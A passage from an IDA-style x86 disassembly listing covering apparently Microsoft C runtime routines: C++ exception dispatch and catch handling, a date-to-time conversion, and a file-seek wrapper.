loc_421E5D:				; CODE XREF: sub_421CE6+56j
					; sub_421CE6+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421E62:				; CODE XREF: sub_421CE6+37j
					; sub_421CE6+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421E88
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421E8D
		add	esp, 20h
		jmp	short loc_421E5D
; ---------------------------------------------------------------------------


loc_421E88:				; CODE XREF: sub_421CE6+180j
		jmp	sub_42249C
sub_421CE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E8D	proc near		; CODE XREF: sub_421CE6+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4D97C0, 0
		push	esi
		push	edi
		jz	short loc_421EBE
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D13A
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421F31


loc_421EBE:				; CODE XREF: sub_421E8D+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D263
		add	esp, 14h
		mov	esi, eax


loc_421EDA:				; CODE XREF: sub_421E8D+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421F31
		cmp	edi, [esi]
		jl	short loc_421F29
		cmp	edi, [esi+4]
		jg	short loc_421F29
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421F03
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421F29


loc_421F03:				; CODE XREF: sub_421E8D+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422046
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421F29:				; CODE XREF: sub_421E8D+57j
					; sub_421E8D+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421EDA
; ---------------------------------------------------------------------------


loc_421F31:				; CODE XREF: sub_421E8D+2Fj
					; sub_421E8D+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421E8D	endp


; =============== S U B	R O U T	I N E =======================================



sub_421F35	proc near		; CODE XREF: sub_421CE6+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_421F8C
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_421F8C
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_421F66
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421F88


loc_421F66:				; CODE XREF: sub_421F35+1Fj
		test	byte ptr [esi],	2
		jz	short loc_421F70
		test	byte ptr [edi],	8
		jz	short loc_421F88


loc_421F70:				; CODE XREF: sub_421F35+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_421F7F
		test	byte ptr [edi],	1
		jz	short loc_421F88


loc_421F7F:				; CODE XREF: sub_421F35+43j
		test	al, 2
		jz	short loc_421F8C
		test	byte ptr [edi],	2
		jnz	short loc_421F8C


loc_421F88:				; CODE XREF: sub_421F35+2Fj
					; sub_421F35+39j ...
		xor	eax, eax
		jmp	short loc_421F8F
; ---------------------------------------------------------------------------


loc_421F8C:				; CODE XREF: sub_421F35+Bj
					; sub_421F35+14j ...
		push	1
		pop	eax


loc_421F8F:				; CODE XREF: sub_421F35+55j
		pop	edi
		pop	esi
		retn
sub_421F35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F92	proc near		; CODE XREF: sub_421C4B+34p
					; ___:00422088p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427890
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_421FC4:				; CODE XREF: sub_421F92+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_42201E
		cmp	esi, 0FFFFFFFFh
		jle	short loc_421FD3
		cmp	esi, [edi+4]
		jl	short loc_421FD8


loc_421FD3:				; CODE XREF: sub_421F92+3Aj
		call	sub_4224F2


loc_421FD8:				; CODE XREF: sub_421F92+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_421FF3
		push	103h
		push	ebx
		push	eax
		call	sub_422450


loc_421FF3:				; CODE XREF: sub_421F92+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422013
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_422030
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_422013:				; CODE XREF: sub_421F92+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_421FC4
; ---------------------------------------------------------------------------


loc_42201E:				; CODE XREF: sub_421F92+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421F92	endp


; =============== S U B	R O U T	I N E =======================================



sub_422030	proc near		; CODE XREF: sub_421F92+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_422041
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_422041:				; CODE XREF: sub_422030+Cj
		jmp	sub_42249C
sub_422030	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422046	proc near		; CODE XREF: sub_421CE6+151p
					; sub_421E8D+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422068
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4221F7
		add	esp, 10h


loc_422068:				; CODE XREF: sub_422046+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_422074
		push	edi
		jmp	short loc_422077
; ---------------------------------------------------------------------------


loc_422074:				; CODE XREF: sub_422046+29j
		push	[ebp+arg_24]


loc_422077:				; CODE XREF: sub_422046+2Cj
		call	sub_41D03C
sub_422046	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_421F92
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_4220C1
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_4220BC
		push	edi
		push	eax
		call	sub_41CFFA


loc_4220BC:				; CODE XREF: ___:004220B3j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220C1	proc near		; CODE XREF: ___:004220A9p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278A0
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4D97B8
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4D97BC
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4D97B8, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4D97BC, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41D0C1
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422187
		mov	eax, [ebp+var_2C]


loc_42214E:				; CODE XREF: sub_422167+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4220C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_42215D	proc near		; DATA XREF: ___:004278B0o
		push	dword ptr [ebp-14h]
		call	sub_4221CD
		pop	ecx
		retn
sub_42215D	endp


; =============== S U B	R O U T	I N E =======================================



sub_422167	proc near		; DATA XREF: ___:004278B4o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D322
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_42214E
sub_422167	endp

; ---------------------------------------------------------------------------


loc_42217F:				; DATA XREF: ___:004278A8o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422187	proc near		; CODE XREF: sub_4220C1+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4D97B8, eax
		mov	eax, [ebp-20h]
		mov	dword_4D97BC, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_4221CC
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_4221CC
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_4221CC
		cmp	[ebp-24h], ebx
		jnz	short locret_4221CC
		cmp	[ebp-2Ch], ebx
		jz	short locret_4221CC
		call	sub_41D38A
		push	eax
		push	edi
		call	sub_4223BB
		pop	ecx
		pop	ecx

locret_4221CC:				; CODE XREF: sub_422187+1Cj
					; sub_422187+22j ...
		retn
sub_422187	endp


; =============== S U B	R O U T	I N E =======================================



sub_4221CD	proc near		; CODE XREF: sub_42215D+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4221F4
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4221F4
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4221F4
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4221F4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4221F4:				; CODE XREF: sub_4221CD+Cj
					; sub_4221CD+12j ...
		xor	eax, eax
		retn
sub_4221CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221F7	proc near		; CODE XREF: sub_422046+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278B8
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_4223A0
		cmp	byte ptr [eax+8], 0
		jz	loc_4223A0
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_4223A0
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_422294
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424680
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422397
		push	1
		push	edi
		call	sub_42469C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422397
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422285:				; CODE XREF: sub_4221F7+F5j
		push	eax
		call	sub_422422
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_42239C
; ---------------------------------------------------------------------------


loc_422294:				; CODE XREF: sub_4221F7+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4222EE
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424680
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422397
		push	1
		push	edi
		call	sub_42469C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422397
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D400
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_42239C
		mov	eax, [edi]
		test	eax, eax
		jz	loc_42239C
		add	esi, 8
		push	esi
		jmp	short loc_422285
; ---------------------------------------------------------------------------


loc_4222EE:				; CODE XREF: sub_4221F7+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422336
		call	sub_424680
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422397
		push	1
		push	edi
		call	sub_42469C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422397
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422422
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D400
		add	esp, 0Ch
		jmp	short loc_42239C
; ---------------------------------------------------------------------------


loc_422336:				; CODE XREF: sub_4221F7+103j
		call	sub_424680
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422397
		push	1
		push	edi
		call	sub_42469C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422397
		push	dword ptr [esi+18h]
		call	sub_4246B8
		pop	ecx
		test	eax, eax
		jz	short loc_422397
		test	byte ptr [esi],	4
		jz	short loc_42237D
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422422
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D035
		jmp	short loc_42239C
; ---------------------------------------------------------------------------


loc_42237D:				; CODE XREF: sub_4221F7+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422422
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D02E
		jmp	short loc_42239C
; ---------------------------------------------------------------------------


loc_422397:				; CODE XREF: sub_4221F7+6Aj
					; sub_4221F7+7Cj ...
		call	sub_4224F2


loc_42239C:				; CODE XREF: sub_4221F7+98j
					; sub_4221F7+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_4223A0:				; CODE XREF: sub_4221F7+2Ej
					; sub_4221F7+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4221F7	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42249C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4223BB	proc near		; CODE XREF: sub_421CE6+170p
					; sub_422187+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422402
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422402
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41D02E
		or	[ebp+var_4], 0FFFFFFFFh


loc_422402:				; CODE XREF: sub_4223BB+2Aj
					; sub_4223BB+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4223BB	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42249C

; =============== S U B	R O U T	I N E =======================================



sub_422422	proc near		; CODE XREF: sub_4221F7+8Fp
					; sub_4221F7+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422443
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422443:				; CODE XREF: sub_422422+12j
		pop	esi
		retn
sub_422422	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422450	proc near		; CODE XREF: sub_41D0C1+40p
					; sub_421F92+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D3AD
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42248F
		mov	ecx, 2


loc_42248F:				; CODE XREF: sub_422450+38j
		push	ecx
		call	sub_41D3AD
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42249C	proc near		; CODE XREF: sub_421CE6:loc_421E88j
					; sub_422030:loc_422041j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004246D0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4D97C4
		test	eax, eax
		jz	short loc_4224E4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4224E0
; ---------------------------------------------------------------------------


loc_4224D9:				; DATA XREF: ___:004278E8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4224DD:				; DATA XREF: ___:004278ECo
		mov	esp, [ebp+var_18]


loc_4224E0:				; CODE XREF: sub_42249C+3Bj
		and	[ebp+var_4], 0


loc_4224E4:				; CODE XREF: sub_42249C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4224ED:				; DATA XREF: ___:004278E0o
		jmp	loc_4246D0
sub_42249C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4224F2	proc near		; CODE XREF: sub_41D263+23p
					; sub_41D263:loc_41D2CEp ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43AC54
		test	eax, eax
		jz	short loc_42253A
		mov	[ebp+var_4], 1
		call	eax ; sub_42249C
		jmp	short loc_422536
; ---------------------------------------------------------------------------


loc_42252F:				; DATA XREF: ___:00427900o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422533:				; DATA XREF: ___:00427904o
		mov	esp, [ebp+var_18]


loc_422536:				; CODE XREF: sub_4224F2+3Bj
		and	[ebp+var_4], 0


loc_42253A:				; CODE XREF: sub_4224F2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422543:				; DATA XREF: ___:004278F8o
		jmp	sub_42249C
sub_4224F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_422548	proc near		; CODE XREF: sub_41D743+7p
					; sub_41D743+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_41E477
		test	eax, eax
		pop	ecx
		jz	short loc_422560
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_422560:				; CODE XREF: sub_422548+Ej
		push	esi
		push	0
		push	dword_4DADA0
		nop
		call	near ptr 2650000h
		pop	esi
		retn
sub_422548	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422571	proc near		; CODE XREF: sub_41D81B+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_42262D
		cmp	ebx, 8Ah
		jg	loc_42262D
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43B11C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4225B0
		cmp	edi, 2
		jle	short loc_4225B0
		inc	esi


loc_4225B0:				; CODE XREF: sub_422571+37j
					; sub_422571+3Cj
		call	sub_4246E7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43B038
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_422623
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422629
		cmp	dword_43B03C, 0
		jz	short loc_422629
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_42495A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422629


loc_422623:				; CODE XREF: sub_422571+90j
		add	ecx, dword_43B040


loc_422629:				; CODE XREF: sub_422571+96j
					; sub_422571+9Fj ...
		mov	eax, ecx
		jmp	short loc_422630
; ---------------------------------------------------------------------------


loc_42262D:				; CODE XREF: sub_422571+13j
					; sub_422571+1Fj
		or	eax, 0FFFFFFFFh


loc_422630:				; CODE XREF: sub_422571+BAj
		pop	ebx
		leave
		retn
sub_422571	endp


; =============== S U B	R O U T	I N E =======================================



sub_422633	proc near		; CODE XREF: ___:0041D9F3p
					; sub_41F051+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DAB60
		push	esi
		push	edi
		jnb	short loc_4226B5
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DAA60h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4226B5
		push	eax
		call	sub_4237AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422677
		mov	dword_4D9714, 9
		jmp	short loc_4226C6
; ---------------------------------------------------------------------------


loc_422677:				; CODE XREF: sub_422633+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2780000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422697
		nop
		call	near ptr 26807F9h
		jmp	short loc_422699
; ---------------------------------------------------------------------------


loc_422697:				; CODE XREF: sub_422633+5Aj
		xor	eax, eax


loc_422699:				; CODE XREF: sub_422633+62j
		test	eax, eax
		jz	short loc_4226A6
		push	eax
		call	sub_420314
		pop	ecx
		jmp	short loc_4226C6
; ---------------------------------------------------------------------------


loc_4226A6:				; CODE XREF: sub_422633+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4226C9
; ---------------------------------------------------------------------------


loc_4226B5:				; CODE XREF: sub_422633+Dj
					; sub_422633+2Aj
		and	dword_4D9718, 0
		mov	dword_4D9714, 9


loc_4226C6:				; CODE XREF: sub_422633+42j
					; sub_422633+71j
		or	eax, 0FFFFFFFFh


loc_4226C9:				; CODE XREF: sub_422633+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422633	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226CD	proc near		; CODE XREF: ___:0041D9B6p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4226E9
		mov	[edi+4], ebx


loc_4226E9:				; CODE XREF: sub_4226CD+17j
		push	1
		push	ebx
		push	esi
		call	sub_422633
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_422757
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_42270E
		sub	eax, [edi+4]
		jmp	loc_422820
; ---------------------------------------------------------------------------


loc_42270E:				; CODE XREF: sub_4226CD+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
